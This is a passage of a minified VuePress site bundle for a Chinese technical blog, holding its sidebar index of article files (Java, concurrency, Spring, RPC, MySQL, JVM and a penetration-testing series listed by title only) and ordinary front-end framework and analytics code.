API有哪些终止操作.md","java8/2022-03-31-012-关于并行流与串行流,你必须掌握这些.md","java8/2022-03-31-013-不了解Optional类,简历上别说你懂Java8.md","java8/2022-03-31-014-接口中的默认方法和静态方法,你都掌握了吗.md","java8/2022-03-31-015-关于Java8中的日期时间API,你需要掌握这些.md","java8/2022-03-31-016-重复注解与类型注解,你真的学会了吗.md","java8/2022-04-01-001-Java8新特性总结.md"]}],"/md/performance/":[{title:"JVM性能调优",collapsable:!1,sidebarDepth:0,children:["jvm/default.md"]},{title:"Tomcat性能调优",collapsable:!1,sidebarDepth:0,children:["tomcat/default.md"]},{title:"MySQL性能调优",collapsable:!1,sidebarDepth:0,children:["mysql/default.md"]},{title:"操作系统性能调优",collapsable:!1,sidebarDepth:0,children:["system/default.md"]}],"/md/concurrent/":[{title:"底层技术",collapsable:!1,sidebarDepth:0,children:["bottom/default.md"]},{title:"源码分析",collapsable:!1,sidebarDepth:0,children:["source/2020-03-30-001-一文搞懂线程与多线程.md","source/2020-03-30-002-如何确保线程按照我们想要的顺序执行.md","source/2020-03-30-003-深入解析Callable接口.md","source/2020-03-30-004-两种异步模型与深度解析Future接口.md","source/2020-03-30-005-SimpleDateFormat类到底为啥不是线程安全的?(附六种解决方案,建议收藏).md","source/2020-03-30-006-不得不说的线程池与ThreadPoolExecutor类浅析.md","source/2020-03-30-007-深度解析线程池中那些重要的顶层接口和抽象类.md","source/2020-03-30-008-从源码角度分析创建线程池究竟有哪些方式.md","source/2020-03-30-009-通过源码深度解析ThreadPoolExecutor类是如何保证线程池正确运行的.md","source/2020-03-30-010-通过ThreadPoolExecutor类的源码深度解析线程池执行任务的核心流程.md","source/2020-03-30-011-通过源码深度分析线程池中Worker线程的执行流程.md","source/2020-03-30-012-从源码角度深度解析线程池是如何实现优雅退出的.md","source/2020-03-30-013-ScheduledThreadPoolExecutor与Timer的区别和简单示例.md","source/2020-03-30-014-深度解析ScheduledThreadPoolExecutor类的源代码.md","source/2020-03-30-015-浅谈AQS中的CountDownLatch、Semaphore与CyclicBarrier.md","source/2020-03-30-016-浅谈AQS中的ReentrantLock、ReentrantReadWriteLock、StampedLock与Condition.md","source/2020-03-30-017-朋友去面试竟然栽在了Thread类的源码上.md","source/2020-03-30-018-如何使用Java7提供的ForkJoin框架实现高并发程序?.md"]},{title:"基础案例",collapsable:!1,sidebarDepth:0,children:["basics/2020-03-30-001-明明中断了线程,却为何不起作用呢?.md","basics/2020-03-30-002-由InterruptedException异常引发的思考.md","basics/2020-03-30-003-要想学好并发编程,关键是要理解这三个核心问题.md","basics/2020-03-30-004-导致并发编程频繁出问题的“幕后黑手”.md","basics/2020-03-30-005-解密诡异并发问题的第一个幕后黑手——可见性问题.md","basics/2020-03-30-006-解密导致并发问题的第二个幕后黑手——原子性问题.md","basics/2020-03-30-007-解密导致并发问题的第三个幕后黑手——有序性问题.md","basics/2020-03-30-008-一文秒懂Happens-Before原则.md"]},{title:"实战案例",collapsable:!1,sidebarDepth:0,children:["ActualCombat/default.md"]},{title:"面试",collapsable:!1,sidebarDepth:0,children:["interview/default.md"]},{title:"系统架构",collapsable:!1,sidebarDepth:0,children:["framework/default.md"]}],"/md/frame/":[{title:"Spring源码",collapsable:!1,sidebarDepth:0,children:["spring/default.md"]},{title:"SpringMVC源码",collapsable:!1,sidebarDepth:0,children:["springmvc/default.md"]},{title:"MyBatis源码",collapsable:!1,sidebarDepth:0,children:["mybatis/default.md"]},{title:"Dubbo源码",collapsable:!1,sidebarDepth:0,children:["dubbo/default.md"]}],"/md/distributed/cache/":[{title:"Redis",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/distributed/zookeeper/":[{title:"Zookeeper",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/distributed/mq/":[{title:"RabbitMQ",collapsable:!1,sidebarDepth:0,children:["rabbitmq/default.md"]},{title:"RocketMQ",collapsable:!1,sidebarDepth:0,children:["rocketmq/default.md"]},{title:"Kafka",collapsable:!1,sidebarDepth:0,children:["kafka/default.md"]}],"/md/distributed/netty/":[{title:"Netty",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/distributed/dubbo/":[{title:"Dubbo",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/distributed/mongodb/":[{title:"MongoDB",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/distributed/es/":[{title:"ElasticSearch",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/microservices/springboot/":[{title:"SpringBoot",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/microservices/springcloudalibaba/":[{title:"第一篇:专栏设计",collapsable:!1,sidebarDepth:0,children:["2022-04-02-SpringCloudAlibaba专栏开篇.md","2022-04-04-SA实战·第一篇-专栏设计.md"]},{title:"第二篇:微服务介绍",collapsable:!1,sidebarDepth:0,children:["2022-04-09-SA实战-微服务介绍.md"]},{title:"第三篇:微服务环境搭建",collapsable:!1,sidebarDepth:0,children:["2022-04-13-SA实战·项目说明-流程设计-技术选型-模块划分.md","2022-04-18-SA实战-开撸-完成通用模块的开发.md","2022-04-21-SA实战-完成三大微服务的搭建与交互开发.md"]},{title:"第四篇:服务治理",collapsable:!1,sidebarDepth:0,children:["2022-04-25-SA实战-服务治理-实现服务的注册与发现.md","2022-04-27-SA实战-第8章-服务治理-实现服务调用的负载均衡.md"]},{title:"第五篇:服务容错",collapsable:!1,sidebarDepth:0,children:["2022-04-28-SA实战-第9章-服务容错-服务雪崩与容错方案.md","2022-05-03-SA实战-第10章-服务容错-Fegin整合Sentinel.md","2022-05-05-SA实战-第11章-服务容错加餐-Sentinel核心技术与配置规则.md"]},{title:"第六篇:服务网关",collapsable:!1,sidebarDepth:0,children:["2022-05-08-SA实战-第12章-服务网关-网关概述与核心架构.md","2022-05-08-SA实战-第13章-服务网关-项目整合SpringCloudGateway.md","2022-05-10-SA实战-第14章-服务网关-SpringCloudGateway核心技术.md"]},{title:"第七篇:链路追踪",collapsable:!1,sidebarDepth:0,children:["2022-05-11-SA实战-第15章-链路追踪-核心原理与解决方案.md","2022-05-12-SA实战-第16章-链路追踪-项目整合Sleuth实现链路追踪.md","2022-05-13-SA实战-第17章-链路追踪-Sleuth整合ZipKin.md"]},{title:"第八篇:消息服务",collapsable:!1,sidebarDepth:0,children:["2022-05-17-SA实战-第18章-消息服务-MQ使用场景与选型对比.md","2022-05-18-SA实战-第19章-消息服务-项目整合RocketMQ.md","2022-05-20-SA实战-第20章-消息服务-RocketMQ核心技术.md"]},{title:"第九篇:服务配置",collapsable:!1,sidebarDepth:0,children:["2022-05-21-SA实战-第21章-服务配置-服务配置介绍与Nacos核心概念.md","2022-05-23-SA实战-第22章-服务配置-项目整合Nacos配置中心.md","2022-05-24-SA实战-第23章-服务配置-实现动态刷新与配置共享.md"]},{title:"第十篇:分布式事务",collapsable:!1,sidebarDepth:0,children:["2022-05-25-SA实战-第24章-分布式事务-分布式事务核心原理与Seata介绍.md","2022-05-25-SA实战-第25章-分布式事务-项目整合Seata实现分布式事务.md","2022-06-15-SA实战-第26章-专栏总结与后续规划.md"]},{title:"结束语",collapsable:!1,sidebarDepth:0,children:["2022-06-15-SA实战-第26章-专栏总结与后续规划.md"]}],"/md/middleware/independent/":[{title:"开源项目",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/middleware/limiter/":[{title:"分布式限流",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/middleware/threadpool/":[{title:"手写线程池",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/middleware/bytecode/":[{title:"字节码编程",collapsable:!1,sidebarDepth:0,children:["2022-04-11-001-工作多年的你依然重复做着CRUD-是否接触过这种技术.md","2022-04-11-002-使用Javassist动态生成HelloWorld.md","2022-04-11-003-使用Javassist生成JavaBean.md"]}],"/md/middleware/rpc/":[{title:"RPC手撸专栏",collapsable:!1,sidebarDepth:0,children:["2022-08-24-我设计了一款TPS百万级别的RPC框架.md","2022-06-25-《RPC手撸专栏》-第1章-开篇-手撸一个能在实际场景使用的RPC框架.md","2022-06-30-《RPC手撸专栏》第2章-高性能分布式RPC框架整体设计.md","2022-08-02-《RPC手撸专栏》第3章-RPC服务核心注解的设计与实现.md","2022-08-22-《RPC手撸专栏》第4章-实现RPC服务核心注解的扫描与解析.md","2022-09-28-《RPC手撸专栏》第5章-服务提供者收发消息基础功能实现.md","2022-09-30-《RPC手撸专栏》第6章-自定义网络协议的实现.md","2022-10-02-《RPC手撸专栏》第7章-自定义网络编解码的实现.md","2022-10-03-《RPC手撸专栏》第8章-模拟服务消费者与服务提供者之间的数据交互.md","2022-10-04-《RPC手撸专栏》第9章-服务提供者调用真实方法的实现.md","2022-10-05-《RPC手撸专栏》第10章-测试服务提供者调用真实方法.md","2022-10-06-《RPC手撸专栏》第11章-服务提供者扩展支持CGLib调用真实方法.md","2022-10-08-《RPC手撸专栏》第12章-实现服务消费者与服务提供者直接通信.md","2022-10-09-《RPC手撸专栏》第13章-服务消费者异步转同步直接获取返回结果.md","2022-10-10-《RPC手撸专栏》第14章-服务消费者异步转同步的自定义Future与AQS实现.md","2022-10-11-《RPC手撸专栏》第15章-服务消费者同步-异步-单向调用的实现.md","2022-10-12-《RPC手撸专栏》第16章-服务消费者回调方法的实现.md","2022-10-13-《RPC手撸专栏》第17章-服务消费者实现动态代理功能屏蔽请求协议对象的细节.md","2022-10-17-《RPC手撸专栏》第18章-服务消费者整合动态代理实现直接调用接口返回结果数据.md","2022-10-18-《RPC手撸专栏》第19章-服务消费者动态代理实现异步调用.md"]}],"/md/project/":[{title:"项目实战",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/hack/environment/":[{title:"基础环境篇",collapsable:!1,sidebarDepth:0,children:["2022-04-17-001-安装Kali系统.md","2022-04-17-002-Kali配置.md","2022-04-17-003-Kali中各项菜单的功能.md","2022-04-17-004-安装open-vm-tools实现虚拟机交互.md","2022-04-17-005-Kali设置静态IP.md","2022-04-17-006-kali安装免杀工具Veil-Evasion.md","2022-04-17-007-在Debian8上安装WPScan.md","2022-04-17-008-metasploitable2修改密码.md","2022-04-17-009-操作系统支持的管道符.md"]}],"/md/hack/tools/":[{title:"渗透工具篇",collapsable:!1,sidebarDepth:0,children:["2022-04-17-001-使用Easy-Creds工具攻击无线网络.md","2022-04-17-002-Nmap+Zenmap+Amap+Zmap.md","2022-04-17-003-Zenmap.md","2022-04-17-004-Amap.md","2022-04-17-005-Zmap.md","2022-04-17-006-Nessus的整理.md","2022-04-17-007-Burpsuite上传截断及截断原理介绍.md","2022-04-17-008-Kali2.0Meterpreter运用.md","2022-04-17-009-lcx.exe内网转发命令教程-LCX免杀下载.md","2022-04-17-010-字典生成工具Crunch的使用案例.md","2022-04-17-011-WinlogonHack获取系统密码.md","2022-04-17-012-Msfvenom生成各类Payload命令.md","2022-04-17-013-PsExec下载地址及其用法.md","2022-04-17-014-Hydra安装Libssh模块.md","2022-04-17-015-利用procdump+Mimikatz绕过杀软获取Windows明文密码.md","2022-04-17-016-SQLMap的用法+谷歌黑客语法.md","2022-04-17-017-SQLMap用法总结.md","2022-04-17-018-SQLMap参数说明.md","2022-04-17-019-十大渗透测试演练系统.md","2022-04-17-020-目录扫描神器DirBuster用法.md","2022-04-17-021-NMap在实战中的常见用法.md","2022-04-17-022-Metasploit模块的格式说明.md","2022-04-17-023-Meterpreter命令大全.md","2022-04-17-024-Metasploit-Meterpreter-Shell信息收集相关的命令.md","2022-04-17-025-使用Metasploit编写绕过DEP渗透模块.md","2022-04-17-026-Metasploit渗透php-utility-belt程序.md","2022-04-17-027-内网IPC$入侵.md","2022-04-17-028-Metasploit渗透BSPlayerV2.68.md","2022-04-17-029-Metasploit攻击VSFTPD2.3.4后门漏洞并渗透内网.md","2022-04-17-030-Metasploit攻击PHP-CGI查询字符串参数漏洞并渗透内网.md","2022-04-17-031-Metasploit攻击HFS2.3上的漏洞.md","2022-04-17-032-Metasploit访问控制的持久化.md","2022-04-17-033-Metasploit清除渗透痕迹.md","2022-04-17-034-利用Metasploit找出SCADA服务器.md","2022-04-17-035-利用Metasploit渗透DATAC-RealWin-SCADA Server2.0.md","2022-04-17-036-MSF-Meterpreter清理日志.md","2022-04-17-037-Metasploit自定义FTP扫描模块.md","2022-04-17-038-Metasploit渗透MSSQL.md","2022-04-17-039-Metasploit渗透VOIP.md","2022-04-17-040-破解工具hydra安装与使用.md","2022-04-17-041-Metasploit自定义SSH认证暴力破解器.md","2022-04-17-042-Metasploit自定义让磁盘失效的后渗透模块.md","2022-04-17-043-PowerShell基本命令和绕过权限执行.md","2022-05-02-001-Metasploit自定义收集登录凭证的后渗透模块.md","2022-05-02-002-利用Java生成穷举字典(数字+字母(大小写)+字符).md","2022-05-02-003-PowerShell工具之Powerup详解实录.md","2022-05-02-004-Meterpreter以被控制的计算机为跳板渗透其他服务器.md","2022-05-02-005-Win10完美去除桌面快捷图标小箭头.md","2022-05-02-006-OpenVAS8.0-Vulnerability-Scanning.md","2022-05-02-007-kali-Metasploit连接Postgresql默认密码.md","2022-05-02-008-使用OpenVAS进行漏洞扫描.md","2022-05-02-009-对威胁建模附加搭建CVE2014-6287漏洞环境.md","2022-05-02-010-Metasploit设置永久访问权限.md","2022-05-02-011-Empire反弹回Metasploit.md","2022-05-02-012-Metasploit制作并运行自定义Meterpreper脚本.md","2022-05-02-013-使用Metasploit实现对缓冲区栈的溢出攻击.md","2022-05-02-014-使用Metasploit实现基于SEH的缓冲区溢出攻击.md","2022-05-02-015-Metasploit基本后渗透命令.md","2022-05-02-016-Metasploit高级后渗透模块.md","2022-05-02-017-Kali中一键更新Metasploit框架.md","2022-05-02-018-Metasploit其他后渗透模块.md","2022-05-02-019-Metasploit高级扩展功能.md","2022-05-02-020-Metasploit之pushm和popm命令.md","2022-05-02-021-Metasploit使用reload-edit-reload_all命令加快开发过程.md","2022-05-02-022-Metasploit资源脚本的使用方法.md","2022-05-02-023-在Metasploit中使用AutoRunScript.md","2022-05-02-024-使用Metasploit获取目标的控制权限.md","2022-05-02-025-使用Metasploit中的NMap插件扫描并渗透内网主机.md","2022-05-02-026-Kali一句话升级Metasploit的命令.md","2022-05-02-027-Win2012R2打Windows8.1-KB2919355.md","2022-05-02-028-Armitage基本原理.md","2022-05-02-029-Armitage网络扫描以及主机管理.md","2022-05-02-030-使用Armitage进行渗透.md","2022-05-02-031-使用Armitage进行后渗透攻击.md","2022-05-02-032-使用Armitage进行客户端攻击.md","2022-05-02-033-Armitage脚本编写.md","2022-05-02-034-Armitage控制Metasploit.md","2022-05-02-035-Armitage使用Cortana实现后渗透攻击.md","2022-05-02-036-Armitage使用Cortana创建自定义菜单.md","2022-05-02-037-Armitage界面的使用.md","2022-05-02-038-tcpdump用法说明.md"]}],"/md/hack/horse/":[{title:"木马篇",collapsable:!1,sidebarDepth:0,children:["2022-05-02-001-各种一句话木马大全.md","2022-05-02-002-asp图片木马的制作和使用.md"]}],"/md/hack/sql/":[{title:"SQL注入篇",collapsable:!1,sidebarDepth:0,children:["2022-05-02-001-sqli-labs-master下载与安装.md","2022-05-02-002-SQL注入点检测方法.md","2022-05-02-003-SQL语句生成一句话.md","2022-05-02-004-ASP连接MSSQL数据库语句.md","2022-05-02-005-SQL注入绕过技术总结.md","2022-05-02-006-SQLServer启动-关闭xp_cmdshell.md"]}],"/md/hack/shell/":[{title:"漏洞拿Shell篇",collapsable:!1,sidebarDepth:0,children:["2022-05-02-001-各种解析漏洞拿shell.md","2022-05-02-002-网站入侵思路.md","2022-05-02-003-IIS6.0-7.0-7.5-Nginx-Apache等WebService解析漏洞.md","2022-05-02-004-iis7.5加fck解析漏洞后台拿shell.md","2022-05-02-005-真正的IIS永远的后门解密.md"]}],"/md/hack/crack/":[{title:"暴力破解篇",collapsable:!1,sidebarDepth:0,children:["2022-05-02-001-使用rarcrack暴力破解RAR-ZIP-7Z压缩包.md","2022-05-02-002-使用reaver傻瓜式破解wifi之利用路由器WPS漏洞.md","2022-05-02-003-Python爆破Wifi密码.md","2022-05-02-004-MySQL暴力破解工具多线程版.md"]}],"/md/hack/bash/":[{title:"渗透脚本篇",collapsable:!1,sidebarDepth:0,children:["2022-05-02-001-3389脚本开启代码(vbs版).md","2022-05-02-002-触发EasyFileSharingWebServer7.2HEAD缓冲区溢出的Python脚本.md"]}],"/md/hack/raising/":[{title:"数据与系统提权篇",collapsable:!1,sidebarDepth:0,children:["2022-05-02-001-数据库提权.md","2022-05-02-002-NC反弹CMDSHELL提权总结.md","2022-05-02-003-ASP-Web提权.md","2022-05-02-004-MSF提权.md","2022-05-02-005-Metasploit-Win10提权.md"]}],"/md/hack/client/":[{title:"客户端渗透篇",collapsable:!1,sidebarDepth:0,children:["2022-05-02-001-浏览器渗透.md","2022-05-02-002-对网站的客户进行渗透.md","2022-05-02-003-与DNS欺骗的结合使用.md","2022-05-02-004-基于PDF文件格式的渗透攻击.md","2022-05-02-005-基于Word文件格式的渗透攻击.md","2022-05-02-006-使用Metasploit实现对Linux客户端的渗透.md","2022-05-02-007-使用Metasploit渗透Android系统.md"]}],"/md/hack/sociology/":[{title:"社会工程学",collapsable:!1,sidebarDepth:0,children:["2022-05-02-001-Metasploit之社会工程学工具包.md"]}],"/md/hack/question/":[{title:"问题记录篇",collapsable:!1,sidebarDepth:0,children:["2022-05-02-001-HTTP错误4031禁止访问-执行访问被拒绝.md","2022-05-02-002-XP-IIS问题总结.md","2022-05-02-003-IIS-403-404问题.md","2022-05-02-004-DEDE5.7初始化数据体验包获取失败-无法下载安装.md","2022-05-02-005-discuz报错Tableuc-uc_pms-doesnt-exist-uc_pms不存在.md","2022-05-02-006-Windows远程登录提示超出允许最大连接数解决方案.md","2022-05-02-007-Windows2008自动关机最简单的解决方案.md","2022-05-02-008-Hydra安装报错.md","2022-05-02-009-安装OpenVAS后找不到默认密码无法登录Web端.md","2022-05-02-010-AppScan使用问题记录.md","2022-05-02-011-Kali系统报错.md","2022-05-02-012-Kali运行WPScan报错.md"]}],"/md/hack/log4j/":[{title:"log4j重大漏洞",collapsable:!1,sidebarDepth:0,children:["2022-05-30-冰河连夜复现了Log4j最新重大漏洞.md"]}],"/md/interview/":[{title:"面试必问系列",collapsable:!1,sidebarDepth:0,children:["2022-04-18-001-面试必问-聊聊JVM性能调优.md","2022-04-18-002-面试必问-聊聊MyBatis执行流程.md","2022-05-06-面试必问-哪些场景下Spring的事务会失效.md","2022-05-06-面试必问-如何设计一款高并发的消息中间件.md","2022-05-09-面试必问-聊聊MySQL三大核心日志的实现原理.md","2022-05-16-面试必问-聊聊Kafka的消费模型.md","2022-07-25-面试必问-一个线程从创建到消亡要经历哪些阶段.md","2022-09-26-面试必问悲观锁与乐观锁.md"]}],"/md/knowledge/book/":[{title:"出版图书",collapsable:!1,sidebarDepth:0,children:["2022-06-17-深入理解高并发编程.md","2022-03-29-深入理解分布式事务.md","2022-03-29-MySQL技术大全.md","2022-03-29-海量数据处理与大数据技术实战.md"]}],"/md/knowledge/pdf/":[{title:"冰河整理的PDF电子书",collapsable:!1,sidebarDepth:0,children:["2022-07-25-深入理解高并发编程-第1版.md","2022-07-25-十大篇章-共26个章节-332页-打包发布.md","2022-03-30-《冰河的渗透实战笔记》电子书,442页,37万字,正式发布.md"]}],"/md/about/":[{title:"关于自己",collapsable:!1,sidebarDepth:0,children:["me/about-me.md"]},{title:"关于学习",collapsable:!1,sidebarDepth:0,children:["study/default.md"]},{title:"关于职场",collapsable:!1,sidebarDepth:0,children:["job/default.md"]}],"/md/core/spring/ioc/":[{title:"IOC核心技术",collapsable:!1,sidebarDepth:0,children:["2022-04-04-001-聊聊Spring注解驱动开发那些事儿.md","2022-04-04-002-组件注册-使用@Configuration和@Bean给容器中注册组件.md","2022-04-04-003-组件注册-@ComponentScan-自动扫描组件&指定扫描规则.md","2022-04-04-004-自定义TypeFilter指定过滤规则.md","2022-04-04-005-使用@Lazy注解实现懒加载.md","2022-04-04-006-如何按照条件向Spring中注册bean.md","2022-04-04-007-使用@Import注解给容器中快速导入一个组件.md","2022-04-04-008-深入理解Spring的ImportSelector接口.md","2022-04-04-009-在@Import注解中使用ImportSelector.md","2022-04-04-010-如何将Service注入到Servlet中.md","2022-04-04-011-使用ImportBeanDefinitionRegistrar向容器中注册bean.md","2022-04-04-012-使用FactoryBean注册向Spring容器中注册bean.md","2022-04-04-013-使用@Bean注解指定初始化和销毁的方法.md","2022-04-04-014-使用InitializingBean和DisposableBean来管理bean的生命周期.md","2022-04-04-015-@PostConstruct注解和@PreDestroy注解.md","2022-04-04-016-@PostConstruct与@PreDestroy源码解析.md","2022-04-04-017-使用@Scope注解设置组件的作用域.md","2022-04-04-018-针对bean的生命周期,我们能做哪些工作.md","2022-04-04-019-BeanPostProcessor底层原理解析.md","2022-04-04-020-困扰了我很久的AOP嵌套调用终于解决了.md","2022-04-04-021-BeanPostProcessor在Spring底层是如何使用的.md","2022-04-04-022-BeanPostProcessor后置处理器浅析.md","2022-04-04-023-使用@Value注解为bean的属性赋值,原来这么简单.md","2022-04-04-024-使用@PropertySource加载配置文件,我只看这一篇.md","2022-04-04-025-使用@Autowired@Qualifier@Primary三大注解自动装配组件.md","2022-04-04-026-详解@Resource和@Inject注解.md","2022-04-04-027-如何实现方法、构造器位置的自动装配.md","2022-04-04-028-如何解决Spring的循环依赖问题.md","2022-04-04-029-看了这篇Spring事务原理,我才知道我对Spring事务的误解有多深.md","2022-04-04-030-自定义组件如何注入Spring底层的组件.md","2022-04-04-031-使用@Profile注解实现开发、测试和生产环境的配置和切换,看完这篇我彻底会了.md","2022-04-04-032-面试官竟然让我现场搭建一个AOP测试环境.md","2022-04-04-033-二狗子让我给他讲讲@EnableAspectJAutoProxy注解.md","2022-04-04-034-Spring中的注解中的注解使用汇总,你想要的都在这儿了.md","2022-04-04-035-为什么你用@JsonFormat注解时,LocalDateTime会反序列化失败.md","2022-04-04-036-如何实现多数据源读写分离.md","2022-04-04-037-一张图彻底理解Spring如何解决循环依赖.md","2022-04-04-038-AnnotationAwareAspectJAutoProxyCreator源码解析.md","2022-04-04-039-小伙伴们在催更Spring系列,于是我写下了这篇注解汇总.md","2022-04-04-040-一张图带你窥探「Spring注解系列」专题到底要更新些啥.md","2022-04-04-041-AnnotationAwareAspectJAutoProxyCreator类的调用流程是啥.md","2022-04-04-042-Spring中Scheduled和Async两种调度方式有啥区别.md","2022-04-04-043-AnnotationAwareAspectJAutoProxyCreator深度解析.md"]}],"/md/core/spring/aop/":[{title:"AOP核心技术",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/core/mysql/base/":[{title:"MySQL基础篇",collapsable:!1,sidebarDepth:0,children:["2022-08-25-MySQL索引底层技术.md","2022-08-25-MySQL之MVCC实现原理.md","2022-07-09-《MySQL核心知识》第1章-开篇-专栏介绍.md","2022-07-11-《MySQL核心知识》第2章-MySQL常用的命令.md","2022-07-13-《MySQL核心知识》第3章-MySQL中的运算符.md","2022-07-18-《MySQL核心知识》第4章-简单语法.md","2022-07-25-《MySQL核心知识》第5章-查看字段长度与类型宽度.md","2022-08-01-《MySQL核心知识》第6章-查询语句.md","2022-08-07-《MySQL核心知识》第7章-插入-更新-删除.md","2022-08-15-《MySQL核心知识》第8章-索引.md","2022-08-22-《MySQL核心知识》第9章-函数.md","2022-08-29-《MySQL核心知识》第10章:自定义存储过程和函数.md","2022-09-16-《MySQL核心知识》第11章:视图.md","2022-09-19-《MySQL核心知识》第12章:触发器.md","2022-09-26-《MySQL核心知识》第13章:权限管理.md","2022-09-28-《MySQL核心知识》第14章:数据备份与恢复.md","2022-10-18-《MySQL核心知识》第15章-自动备份与恢复MySQL数据库并发送Email邮件.md"]}],"/md/core/jvm/":[{title:"JVM核心技术",collapsable:!1,sidebarDepth:0,children:["2022-04-18-001-JVM调优的几种场景.md","2022-04-18-002-类的编译.md","2022-04-18-003-类的加载过程.md","2022-04-18-004-JVM内存空间.md","2022-04-18-005-JVM堆内存分配.md","2022-04-18-006-JVM垃圾回收机制.md","2022-04-18-007-JVM垃圾回收算法.md","2022-04-18-008-JVM-CMS垃圾收集器.md","2022-04-18-009-JVM -G1收集器-Region-停顿时间模型-垃圾回收.md","2022-04-18-010-JVM内存布局.md"]}],"/md/all/":[{title:"冰河指南",collapsable:!1,sidebarDepth:0,children:["all.md"]}]}}}},locales:{"/":{lang:"zh-CN",title:"冰河技术",description:"包含:编程语言,开发技术,分布式,微服务,高并发,高可用,高可扩展,高可维护,JVM技术,MySQL,分布式数据库,分布式事务,云原生,大数据,云计算,渗透技术,各种面试题,面试技巧...",path:"/"}}};E(239);zE.component("LockArticle",()=>Promise.all([E.e(0),E.e(5)]).then(E.bind(null,300))),zE.component("PayArticle",()=>Promise.all([E.e(0),E.e(6)]).then(E.bind(null,301))),zE.component("Badge",()=>Promise.all([E.e(0),E.e(7)]).then(E.bind(null,664))),zE.component("CodeBlock",()=>Promise.all([E.e(0),E.e(8)]).then(E.bind(null,302))),zE.component("CodeGroup",()=>Promise.all([E.e(0),E.e(9)]).then(E.bind(null,303)));E(240);var Ho=!0,Ko="lazy",Go="200px",Xo=[({router:e})=>{e.beforeEach((e,t,E)=>{"undefined"!=typeof _hmt&&e.path&&_hmt.push(["_trackPageview",e.fullPath]),E()})},{},({Vue:e})=>{e.mixin({computed:{$dataBlock(){return this.$options.__data__block__}}})},{},{},({router:e})=>{"undefined"!=typeof window&&function(){var e=document.createElement("script"),t=window.location.protocol.split(":")[0];e.src="https"===t?"https://zz.bdstatic.com/linksubmit/push.js":"http://push.zhanzhang.baidu.com/push.js";var E=document.getElementsByTagName("script")[0];E.parentNode.insertBefore(e,E)}()},({Vue:e})=>{e.component("CodeCopy",qo)},({Vue:e})=>{e.mixin({data:()=>({$io:void 0}),mounted(){const e=document.querySelectorAll("img."+Ko);Ho&&"loading"in HTMLImageElement.prototype?e.forEach(e=>{!e.getAttribute("src")&&e.setAttribute("src",e.getAttribute("data-src"))}):(this.setObserver(),e.forEach(e=>{this.$io.observe(e)}))},methods:{setObserver(){this.$io=new IntersectionObserver(e=>{e.forEach(e=>{if(e.isIntersecting){const t=this.getSrc(e.target);t&&(e.target.src=t),this.$io.unobserve(e.target)}})},{rootMargin:Go})},getSrc(e){if(e.dataset)return e.dataset.src;{const t=e.attributes.find(e=>"data-src"===e.nodeName);return t&&t.nodeValue}}}})},({router:e})=>{}],Yo=["LockArticle","PayArticle"];class ei extends class{constructor(){this.store=new zE({data:{state:{}}})}$get(e){return this.store.state[e]}$set(e,t){zE.set(this.store.state,e,t)}$emit(...e){this.store.$emit(...e)}$on(...e){this.store.$on(...e)}}{}Object.assign(ei.prototype,{getPageAsyncComponent:no,getLayoutAsyncComponent:oo,getAsyncComponent:io,getVueComponent:co});var ti={install(e){const t=new ei;e.$vuepress=t,e.prototype.$vuepress=t}};function Ei(e,t){const E=t.toLowerCase();return e.options.routes.some(e=>e.path.toLowerCase()===E)}var li={props:{pageKey:String,slotKey:{type:String,default:"default"}},render(e){const t=this.pageKey||this.$parent.$page.key;return mo("pageKey",t),zE.component(t)||zE.component(t,no(t)),zE.component(t)?e(t):e("")}},ri={functional:!0,props:{slotKey:String,required:!0},render:(e,{props:t,slots:E})=>e("div",{class:["content__"+t.slotKey]},E()[t.slotKey])},ai={computed:{openInNewWindowTitle(){return this.$themeLocaleConfig.openNewWindowText||"(opens new window)"}}},ni=(E(241),E(242),Object(Io.a)(ai,(function(){var e=this._self._c;return e("span",[e("svg",{staticClass:"icon outbound",attrs:{xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",x:"0px",y:"0px",viewBox:"0 0 100 100",width:"15",height:"15"}},[e("path",{attrs:{fill:"currentColor",d:"M18.8,85.1h56l0,0c2.2,0,4-1.8,4-4v-32h-8v28h-48v-48h28v-8h-32l0,0c-2.2,0-4,1.8-4,4v56C14.8,83.3,16.6,85.1,18.8,85.1z"}}),this._v(" "),e("polygon",{attrs:{fill:"currentColor",points:"45.7,48.7 51.3,54.3 77.2,28.5 77.2,37.2 85.2,37.2 85.2,14.9 62.8,14.9 62.8,22.9 71.5,22.9"}})]),this._v(" "),e("span",{staticClass:"sr-only"},[this._v(this._s(this.openInNewWindowTitle))])])}),[],!1,null,null,null).exports),oi={functional:!0,render(e,{parent:t,children:E}){if(t._isMounted)return E;t.$once("hook:mounted",()=>{t.$forceUpdate()})}};zE.config.productionTip=!1,zE.use(Wn),zE.use(ti),zE.mixin(function(e,t,E=zE){!function(e){e.locales&&Object.keys(e.locales).forEach(t=>{e.locales[t].path=t});Object.freeze(e)}(t),E.$vuepress.$set("siteData",t);const l=new(e(E.$vuepress.$get("siteData"))),r=Object.getOwnPropertyDescriptors(Object.getPrototypeOf(l)),a={};return Object.keys(r).reduce((e,t)=>(t.startsWith("$")&&(e[t]=r[t].get),e),a),{computed:a}}(e=>class{setPage(e){this.__page=e}get $site(){return e}get $themeConfig(){return this.$site.themeConfig}get $frontmatter(){return this.$page.frontmatter}get $localeConfig(){const{locales:e={}}=this.$site;let t,E;for(const l in e)"/"===l?E=e[l]:0===this.$page.path.indexOf(l)&&(t=e[l]);return t||E||{}}get $siteTitle(){return this.$localeConfig.title||this.$site.title||""}get $canonicalUrl(){const{canonicalUrl:e}=this.$page.frontmatter;return"string"==typeof e&&e}get $title(){const e=this.$page,{metaTitle:t}=this.$page.frontmatter;if("string"==typeof t)return t;const E=this.$siteTitle,l=e.frontmatter.home?null:e.frontmatter.title||e.title;return E?l?l+" | "+E:E:l||"VuePress"}get $description(){const e=function(e){if(e){const t=e.filter(e=>"description"===e.name)[0];if(t)return t.content}}(this.$page.frontmatter.meta);return e||(this.$page.frontmatter.description||this.$localeConfig.description||this.$site.description||"")}get $lang(){return 